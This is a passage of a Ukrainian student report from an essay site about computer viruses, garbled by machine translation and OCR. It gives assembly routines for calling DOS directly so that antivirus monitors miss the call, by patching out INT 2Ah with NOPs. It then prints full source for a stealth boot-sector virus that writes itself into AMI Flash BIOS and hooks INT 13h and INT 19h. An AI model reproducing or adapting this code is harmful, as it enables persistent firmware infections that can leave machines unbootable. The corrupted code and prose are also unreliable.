тобто таймера, періодично відновлює вектор 2Ah, якщо він
був відключений.

Мається на увазі, що прапор проходу ланцюжка 21-го переривання перевіряючі
ється в обробнику INT 2Ah.

Конструювання неотслежіваемого звернення до DOS

Для чого потрібне таке конструювання? Невже антивірусні моні-
тори настільки пильні, що припиняють будь-які спроби відкрити для
модифікації ЕХЕ-або СОМ-файл? Так, це дійсно так. Авто-
ри антивірусних моніторів мають досить ефективними середовищ-
ствами, щоб запобігти прямим звернення до DOS з боку ви-
русів.

Звернемося до думки Ю. Косівцова: "Для виявлення дії нере-
зідентних вірусів необхідно контролювати виклик функцій DOS
з номерами: 3Dh (відкриття файлу через описувач), OFh (відкриття
файлу через FCB і 5Dh) і підфункцію OOh (непрямий виклик DOS).
Якщо при відкритті файлу виявлено, що розширення його СОМ, ЕХЕ
або SYS, то можна видавати попередження ".

Список виглядає занадто коротким. Дійсно, а що станеться,
якщо спочатку перейменувати програмний файл? І чому не врахована
функція 6Ch (розширене відкриття файлу)? А що буде, якщо від-
крити файл для читання, а потім змінити режим доступу прямим обра-
ння, до SFT?

Звичайно ж, автори антивірусних моніторів не настільки наївні. Просто
вони ніколи не розкривають свої професійні секрети. Наприклад,
автори програми AVPTSR реально врахували і використовували всі ці мето-
дикі й тонкощі.

Отже, припустимо, що гіпотетичний антивірусний супермонітор:

- Відстежує і блокує спроби трасування 21-го переривання;

- Для контролю "небезпечних" функцій DOS вбудовується в початок обра-
робника переривання INT 21h;

- Для запобігання прямого звернення до DOS використовує прапор,
скидається або під вставленому фрагменті, або в обробнику
переривання 2Ah (більш грамотний підхід).

Ці дії монітора породжують відповідні проблеми при
конструюванні неотслежіваемого звернення до DOS.

Перша проблема досить просто вирішується з використанням "мето-
та зумовлених адрес ".

Для вирішення другої проблеми варто проаналізувати можливий
розташування в обробнику DOS точки переходу на антивірусний
монітор. Очевидно, це може бути точка 0 або точка 1. У самому
гіршому випадку можна допустити, що врізка відбувається безпосереднім-

ного після команди перевірки на максимальне значення номера
функції. Далі обробник DOS "розтікається" на численні
струмочки, тому відстежити їх все вкрай важко. За край-
ній мірі, обробники функцій OFh, 3Dh і 5Fh потрапляють в різні
струмочки. Однак, при використанні обмеженого набору функцій
вони можуть розміститися і в одному потічку, що набагато спростить ре-
шення даного завдання. Функції 3Ch-43h, що відповідають за створення, від-
криті, закриття, читання, запис, атрибути і переміщення, дія-
тельно розташовуються в одному загальному струмочку. Це дозволяє
використовувати адреса точки 2 для прямого звернення до DOS. Моніторин-
ри, швидше за все, не будуть відслідковувати цю точку.

Рішення третьої проблеми також не викличе особливих труднощів.
Один з варіантів - замаскувати переривання таймера і змінити
вектор 8-го переривання перед прямим зверненням до DOS. Замість через
менения вектора можна спробувати вставити інструкції IRET в нача-
ло поточного (антивірусного) обробника. При використанні все того
ж методу "визначених адрес" і, знаючи позицію інструкції
INT 2Ah в обробнику DOS, перед прямим зверненням до DOS сліду-
ет просто замінити цей виклик двома командами NOP.

Приклад реалізації

Розглянемо дві підпрограми, які використовуються для прямого про-
водження до DOS.

5 "

Підпрограма SetAdr призначена для визначення адреси обработ-
чика DOS методом зумовлених адрес. Для версій DOS, "пра-
Вільний "адреса яких невідомий, використовується функція DOS 35h
(Отримати вектор переривання).

Підпрограма CallDOS дозволяє звертатися до DOS безпосередньо. У код
включена перевірка на номер функції. Для "безпечних" функцій
передбачений звичайний дзвінок DOS за допомогою інструкції INT 21h.

Процедура встановлення адреси (один з найкоротших,
; Хоча і підозрілих варіантів реалізації)
SetAdr ргос near

[Встановлюємо покажчик на таблицю в регістрі SI
mov si, offset Table

; Читаємо чергове значення сегмента і зміщення з таблиці
Next:

mov es, [si]

mov bx, [si +2]

; Перевіряємо контрольний код у слові, адреса якого отримано
; З таблиці. Якщо результат негативний, переходимо
; До наступного елементу таблиці

cmp es: [bx], 2ACDh

jnz Skip

. Зберігаємо адреса точки 2А
mov Ofs2A, bx
mov Seg2A, es

; Зберігаємо адресу точки 2 з таблиці

mov ax, [si +4]

mov Seg21, ax

mov ax, [si +6]

mov Ofs21, ax

ret
Skip:

; Переходимо до наступного елементу таблиці
add si, 8

[Перевіряємо, не закінчилася таблиця. Якщо таблиця закінчилася,

; Читаємо адресу поточного обробника переривання
cmp [si], Про
jnz Next

; Читаємо адреси поточного обробника переривання INT 21 h - метод

; "Визначених адрес" не спрацював, точка входу не знайдено

mov ax, 3521h

int 21 h

mov Ofs21, bx

mov Seg21, es

ret

; Таблиця позицій 2А і 2.
Table dw OFF03h, 5333h, OFF03h, 420Ah
dw OFDC8h, 41D1h, OFDC8h, 411Bh

dw 0
SetAdr endp

Процедура прямого звернення до DOS
CallDOS proc near

; Якщо функція безпечна, викликаємо переривання звичайним способом
cmp ah, 3Bh
jb Trivial
cmp ah, 42h
ja Trivial

; 3аменяем виклик переривання 2Ah на дві команди MOP (9090h)
; В обробнику DOS, попередньо
; Зберігши початкові значення коду

push es

push ax

push bx

mov es, cs: Ofs2A

mov bx, cs: Seg2A

mov ax, es: [bx]

mov cs: Save, ax

mov es: [bx], 9090h

pop bx

pop ax

pop es

; Викликаємо безпосередньо переривання DOS
pushf
call cs: dword ptr Ofs21

; Відновлюємо виклик 2Ah
push es
push ax
push bx

mov es, cs: Ofs2A
mov bx, cs: Seg2A
mov ax, cs: Save
mov es: [bx], ax
pop bx
pop ax
pop es
ret

-. Звичайне звернення до DOS (використовується для безпечних функцій)
Trivial:

int 21 h

ret

; B цьому місці зберігаємо значення для коду виклику INT 2Ah
Save dw?

; 0бработчік переривання DOS
Ofs21 dw?
Seg21 dw?

; Адреса виклику INT 2Ah з обробника DOS
Ofs2A dw?
Seg2A dw?
CallDOS endp

Flash BIOS
Нове місце для вірусів

Flash-пам'ять - енергонезалежна пам'ять, яка забезпечує робо-
тоспроможність EPROM з вбудованою електричною схемою стирання і
перепрограмування. Незалежна пам'ять відрізняється від RAM
тим, що вона не обнуляється при відсутності напруги.

Flash BIOS - Flash-пам'ять, яка використовується для збереження коду
BIOS. Вона може бути перепрограмовано - це передбачено для
простого оновлення BIOS. Такі мікросхеми застосовуються в 90%
портативних комп'ютерів, в більшості комп'ютерів 486DX2,
486DX4, Pentium.

Як відомо, BIOS одержує управління при запуску комп'ютера. Всі
що потрібно зробити вірмейкеру - це непомітно модифіковані BIOS,
щоб вірус стартував перед завантаженням системи комп'ютера.

AMI Flash вірус

Алгоритм роботи вірусу:

1. Перевірити комп'ютер на наявність Flash BIOS;

2. Перевірити Flash BIOS на зараженість (здійснити вихід, якщо
вона заражена);

3. Вважати вектор INT 19h з таблиці (переривання завантаження);

4. Прочитати перші 5 байт від точки входу INT 19h;

5. Перевірити BIOS на наявність вільного місця для розміщення ви-
руса (пошук області нулів);

6. Встановити пам'ять Flash BIOS в режим запису (зазвичай вона знахо-
диться в режимі "Readonly");

7. Записати вірус у знайдену область нулів;

8. Записати перехід на вірус в точку входу INT 19h;

9. Відновити режим "Readonly" для пам'яті Flash BIOS.

Єдине призначення INT 19h - бути викликаним у процесі
завантаження, щоб завантажити boot-сектор в пам'ять і передати йому управ-
ня. Переривання саме те, яке і потрібно змінити.

Потрібно мати на увазі, що одночасно читати з пам'яті Flash BIOS і
записувати в неї не можна. Тому під час роботи вірусу не можна вико-
використовувати тимчасові змінні в цій пам'яті. Більш доцільним
є створення вірусу для звичайного boot-сектора. Цей вірус сліду-
ет помістити в кінець пам'яті і звідти встановлювати вектор INT 13h.

AMI BIOS володіє своїми специфічними особливостями при розмі-
щенні в мікросхемах Flash-пам'яті, які базуються на використання
нии функції EOh переривання INT 16h. Найцікавіше полягає
в тому, що одного разу внесений у цю пам'ять вірус може заборонити по-
повторне використовувати зазначену функцію. Це заборонить антивірусним
програмами скористатися нею в процесі видалення вірусу з BIOS
комп'ютера. Виходячи з цього, авторам антивірусних програм прийде-
ся трасувати INT 16h, щоб отримати оригінальний вектор.

Оригінальний текст вірусу, що заражає Flash BIOS.

; Вірус, що заражає Flash BIOS.

; Якщо на комп'ютері є Flash BIOS, є шанс, що його можуть
. Серйозно зіпсувати. Якщо BIOS зміниться, це може призвести
; До неприємностей. Не можна буде завантажитися навіть з "чистою"
; Дискети. Заражений чіп у робочий стан не повернути.
ОГД Про

; При вході в boot-сектор 01 = завантажувальний диск
mov si, 7COOh

[Встановимо OOOOh в регістрах DS і ES
хог ах, ах
mov es.ax
mov ds.ax

. Встановимо значення стека OOOOh: 7COOh
cli

mov ss.ax
mov sp.si
sti

; Зменшимо на 1Кбайт пам'ять (0040h: 0013h)
dec word ptr [0413h]

; Отримаємо розмір пам'яті (при поверненні в АХ)
int 12h

; Так як розмір пам'яті вказаний в кілобайтах (1024 байт), а потрібно
; В параграфах (16 байт), помножимо його на 64, що еквівалентно
; Зрушення на 6 розрядів вліво

mov cl, 6
shi ax.cl

. Встановимо новий сегмент вірусу (вершина пам'яті)
mov es, ax

. Перенесемо вірусний сектор у вершину пам'яті
xor di, di
mov cx, 200h
eld
rep movsb

; Збережемо вектор переривання INT 13h. Оскільки цей вірус
[Завантажився до завантаження DOS, то переривання INT 21 h ще не

працює - працюємо з вектором переривання прямо в таблиці

mov ax.word ptr [13h * 4]

mov word ptr es: [off set i13], ax

mov ax.word ptr [13h * 4 +2]

mov word ptr es: [offset i 13 +2], ax

. Встановимо новий вектор переривання INT 13h
mov word ptr [13h * 4], offset Handler
mov word ptr [13h * 4 +2], es

[Переходимо в точку ES: Restart (в копії вірусу,
[Знаходиться у вершині пам'яті)
already_resident:

push es

mov ax, offset Restart

push ax

retf

; C цього місця програма працює вже у вершині пам'яті
Restart:

[Завантажуємо оригінальний boot-сектор з кінця
; Root directory і передаємо йому управління.
; Скидання дискової підсистеми (перед роботою
; З дисковою підсистемою треба виконати
. Функції ООП переривання INT 13h)

xor ах.ах

call int13h

[Підготуємо регістри для завантаження оригінального boot-сектора

хог ах.ах

mov es, ax; Сегмент для завантаження

mov bx, 7COOh; Зсув для завантаження

mov cx, 0002h Доріжка 0, сектор 2

хог dh.dh; Головка Про

mov ax, 0201h; Функція 2, кількість секторів 1

[Перевіримо диск, з якого вантажимося. 80h і вище - жорсткий диск,

; Інакше - дискета. Копія оригінальному boot-сектора зберігається

; В різних місцях: на жорсткому диску - доріжка 0, головка 0, сектор 2;

; На дискеті - доріжка 0, головка 1, сектор 14

cmp dl, 80h

jae MBR_Loader

; Вантажимося з дискети: змінимо сектор і голівку
mov з1, 14; Сектор 14
mov dh, 1; Головка 1

; 3агрузім оригінальний boot-сектор за адресою OOOOh: 7COOh
MBRJ-oader:

call int13h

. Збережемо в стеку номер диска, з якого вантажимося
push dx

Перевіримо, чи заражений Flash BIOS
cmp byte ptr cs: flash_done, 1
je Flash_resident

; 3аразім Flash BIOS
call flash_BIOS

. Відновимо з стека DX (номер завантажувального диска)
Flash_resident:

pop dx

; 3апускаем оригінальний boot-сектор (JMP FAR OOOOh: 7COOh)
db OEAh
dw 7COOh
dw 0

; Сюди потрапляємо, коли відбувається читання boot-сектора. Приховуємо
[Присутність вірусу методом читання оригінального boot-сектора
Stealth:

Зупинимо значення сектора, де зберігається копія оригінального
iboot-сектора

mov cx, 02h

mov ax, 0201h

[Перевіримо, звідки лічений boot-сектор (дискета або жорсткий диск),
; Оскільки копії зберігаються в різних місцях

cmp dl, 80h

jae hd_stealth

mov cl, 14

mov dh, 1
hd_stealth:

Прочитаємо копію оригінального boot-сектора. Так як
; Номери секторів підмінені, фактично "копія видається
; За оригінал "- приховуємо свою присутність (Stealth).
call int13h

[Виходимо з обробника переривання
jmp pop_exit

; Перевірка наявності резидентного вірусу - відповімо:

; Запит INT 13h (AX = ABBAh), відповідь AX = BMBh
resJest:

xchg ah, al

iret

. Обробник переривання INT 13h
Handler:

. Якщо при виклику в АХ знаходиться ABBAh,
. Значить це перевірка наявності резидентного вірусу

cmp ax.OABBAh

je resJest

[Перехоплюємо тільки функцію 02h (читання сектора): перевіряємо
; Номер функції. Якщо не 2, запускаємо оригінальний обробник

cmp ah, 2

jne jend

[Перевіряємо номера доріжки та сектори, цікавлячись тільки тими
. Секторами, в яких може виявитися вірус -
; Доріжка 0, головка 0, сектор 1

cmp cx, 1

jne jend

[Перевіримо номер голівки. Якщо не 0, то запустимо
[Оригінальний обробник

cmp dh, 0

jne jend
tryJnfect:

; Вважаємо сектор в буфер (для подальшої обробки).
; Для цього викличемо оригінальний INT 13h

call int13h

jc jend

[Збережемо регістри і прапори (обробник не повинен змінити їх)
pushf
push ax
push bx
push ex
push dx
push si
push di
push es
push ds

Перевіряємо, чи заражений даний диск вірусом: читаємо сигнатуру.
; Якщо диск заражений, приховуємо присутність вірусу

cmp word ptr es: [bx + offset marker], "LV"

je stealth

; Якщо диск не заражений, то заражаємо: перевіримо, звідки завантажений
; Boot-ceKTOp (з дискети або з жорсткого диска)

cmp dl, 80h

jb infect_floppy

. Встановимо номера доріжки, головки і сектора для жорсткого
. Диска для збереження оригінального boot-сектора

mov cx, 2

xor dh.dh

jmp write_virus
lnfect_Floppy:

; Встановимо номера доріжки, голівки і сектора для дискети
; Для збереження оригінального boot-сектора

mov сх, 14

mov dh, 1
Write_Virus:

Записуємо оригінальний boot-сектор
mov ax, 0301h
call int-lSh
jc pop_exit

; Встановимо сегментний регістр ES на сегмент з вірусом
push cs
pop es

; Скинемо прапор зараженості Flash BIOS
mov byte ptr cs: flash_done, 0

; 3апішем тіло вірусу в boot-сектор
xor bx, bx
mov ax, 0301h
mov cx, 0001h
xor dh.dh
call int13h

відновимо регістри і прапори (як раз ті їх значення, які
[Свідчить про те, що boot-сектор тільки що вважали)
Pop_Exit:

pop ds

pop es

pop di

pop si

pop dx

pop ex

pop bx

pop ax

popf

[Виходимо з обробника в зухвалу програму
retf 2

; 3апуск оригінальному обробника
J'end:

DD OEAh. Код команди JMP FAR

; 0рігінальний вектор INT13h
i13 DD 0

; Виклик переривання INT 13h
lnt13h proc near

pushf

call dword ptr cs: [i13]

ret
lnt13h endp

Перші два байти слова використовуються як сигнатура
Marker db "VLAD"

; Ця підпрограма заражає Flash BIOS
Flash_BIOS Proc Near

Перевіримо наявність Flash BIOS
mov ax.OEOOOh
int 16h

jc no_flash_bios
cmp al.OFAh
jne no_flash_bios

; Спочатку знайдемо гарне місце для зберігання вірусу.
Лросканіруем пам'ять FOOOh-FFFFh, де зазвичай знаходиться BIOS,
; На наявність області 1Кбайт нулів. Досить навіть 512 байт пам'яті,
; Але виділити потрібно з запасом
lnfect_Flash:

Зупинимо початковий сегмент для пошуку
mov ax.OFOOOh
mov ds.ax

Перевіримо сегмент
New_segment:

Зупинимо стартове зміщення
xor si, si

Зупинимо лічильник знайдених байт
; (Величина вільного місця для вірусу)

xor dx.dx
ok_new_segment:

; Перейдемо до наступного сегменту
inc ax
mov ds, ax

Перевіримо, чи є ще місце для вірусу
cmp ax.OFFFOh
je no_flash_BIOS

; Перевіримо, чи вільно місце (для швидкості перевіряємо словами)
Test-16:

cmp word ptr [si], 0

jne new_segment

; Збільшимо лічильник розміру знайденого вільного місця
• inc dx

Перевіримо, чи достатньо знайденого місця. Порівнюємо з 1Кбайт, але
; Так як пам'ять скануємо словами, порівнюємо з 512 (1Кбайт = 512 слів)

cmp dx, 512

je found_storage

[Збільшимо зсув перевіряється байта
inc si
inc si

; Порівняємо з 16. Переходимо до наступного сегменту
; На початку кожного параграфа

cmp si, 16

je ok_new_segment

jmp test16

; B цю точку потрапляємо, якщо місце знайдено
Found_storage:

Перейдемо до початку зони
sub ax, 40h
mov ds.ax

. Отримаємо вимоги до збереження стану чіпа
mov ax, OE001h
int 16h

; Перевіримо, скільки пам'яті необхідне для збереження стану

; Чіпа. Якщо занадто багато, не будемо зберігати стан

cmp bx, 512

jbe save_chipset

; Встановимо прапор, що показує, що стан не зберігали
mov byte ptr cs: chipset, 1

[Перейдемо до запису
jmp write_enable

; Сюди потрапляємо, якщо Flash BIOS не виявлено:

записувати нікуди - виходимо
No_Flash_BIOS:

ret

[Збережемо стан чіпа
save_chipset:

[Встановимо прапор, що показує, що стан зберегли
mov byte ptr cs: chipset, 0

. Збережемо стан
mov al, 2
push cs
pop es

mov di, offset buffer
int 16h

[Записуємось у Flash BIOS
write_enable:

[Підвищуємо напруга
mov al, 5
int 16h

; Дозволяємо запис у Flash BIOS
mov al, 7
int 16h

. Копіюємо 512 байт вірусу під Flash BIOS
push ds
pop es
xor di.di
mov ex, 512
push cs
pop ds
xor si, si
eld
rep movsb

; 3десь потрібна особлива обережність. lnt19h вказує на BIOS,
; Пізніше воно перехоплюється різними програмами.
. Якщо трасувати його, можна наткнутися на закриту область
; Або на сегмент 70h, але цього не буде при завантаженні. Зрозуміло,
; Що це єдине вдалий час для виконання вірусу.
; Все, що потрібно - "потрапити" в int19h.
; Можна перехопити його в тому місці, де знаходиться
збережена таблиця векторів, але зробимо цікавіше.
. Отримаємо зсув оригінальному обробника int19h
mov bx.es; ВХ = сегмент вірусу
xor ах.ах

mov ds.ax; DS = Ta6nHua векторів
mov di.word ptr [19h * 4]; Зсув INT 19h
mov es.word ptr [19h * 4 +2]; Сегмент INT 19h

; 3апішем JMP FAR за адресою точки входу в INT 19h
mov al.OEAh
stosb

mov ax, offset int19handler
stosw

mov ax.bx
stosw

. Зменшити напругу
mov ax, OE004h
int 16h

; 3ащітім Flash BIOS від запису
mov al, 6
int 16h

; Перевіримо, зберігалося чи стан чіпа, якщо ні - виходимо
cmp byte ptr cs: chipset, 0
jne No_Flash_BIOS

. Відновимо стан чіпа
push cs
pop es
mov al, 3

mov di, offset buffer
int 16h
jmp No_Flash_BIOS

; Прапор незбереження стану чіпа
chipset db 0

; Прапор присутності вірусу під Flash BIOS
flash_done db 0

; Наш обробник INT 19h.
lnt19Handler Proc Near

; Встановимо сегментний регістр ES в нуль
хог ах.ах
mov es.ax

[Перевіримо наявність резидентного вірусу
mov ax.OABBAh
int 13h

; Якщо вірус присутній, то запускаємо оригінальний
[Обробник переривання INT 19h

cmp ax.OBAABh

jne realJnt19h

[Перенесемо вірус з BIOS в boot-буфер
push cs
pop ds

eld

xor si, si

mov di, 7c00h

mov ex, 512

rep movsb

; 3апустім вірус в boot-буфері

mov dl, 80h

jmp goto_Buffer
Real_int19h:

; Зробимо скидання дискової підсистеми
xor ax, ax
int 13h

Лроініціалізіруем значення регістрів для завантаження boot-сектора
mov ex, 1
mov dh, 0
mov ax, 0201h
mov bx, 7COOh

. Перевіримо, звідки вантажимося: якщо DL не нульовий,
; Переходимо до завантаження з жорсткого диска

cmp dl, 0

J'a hd_int19h

; Прочитаємо boot-сектор з дискети. Якщо при читанні відбувається
; Помилка, то читаємо з жорсткого диска

int 13h

jc fix_hd

Зупинимо прапор, що показує присутність вірусу під Flash BIOS
Goto_Buffer:

mov byte ptr es: [7COOh + offset flash_done], 1

; 3апустім boot-сектор, що знаходиться в boot-буфері

db OEAh; Код команди JMP FAR

dw 7c00h

dw 0
Fix_HD:

[Встановимо номер диска для завантаження (диск С)

mov dl, 80h
HD_lnt19h:

Зробимо скидання дискової підсистеми
хог ах, ах
int 13h

. Прочитаємо boot-сектор
mov ax, 0201h
int 13h
jc Boot
jmp Goto_Buffer

; Якщо не вдається завантажити boot-сектор,
. Викликаємо переривання INT 18h
Boot:

int 18h
lnt19Handler EndP
Flash_BIOS EndP
End_Virus:

; Розмір області пам'яті, необхідний для доповнення
; Розміру вірусу до 510 байт
DupSize equ 510-offset End_Virus

Заповнення незайнятої вірусом частині сектора
db DupSize dup (0)
db 55h, 0aah

; Місце для збереження стану чіпа
Buffer:


Додати в блог або на сайт

Цей текст може містити помилки.

Програмування, комп'ютери, інформатика і кібернетика | Доповідь
96.4кб. | скачати


Схожі роботи:
Різноманітність вірусів
Властивості вірусів
Культивування вірусів
Мутація вірусів характеристика мутагенів
Медичне і ветеринарне значення вірусів
Класифікація структура та особливості біології вірусів
Захист програм від комп`ютерних вірусів
Методи захисту від комп`ютерних вірусів
Декілька класичних прикладів комп ютерних вірусів
© Усі права захищені
написати до нас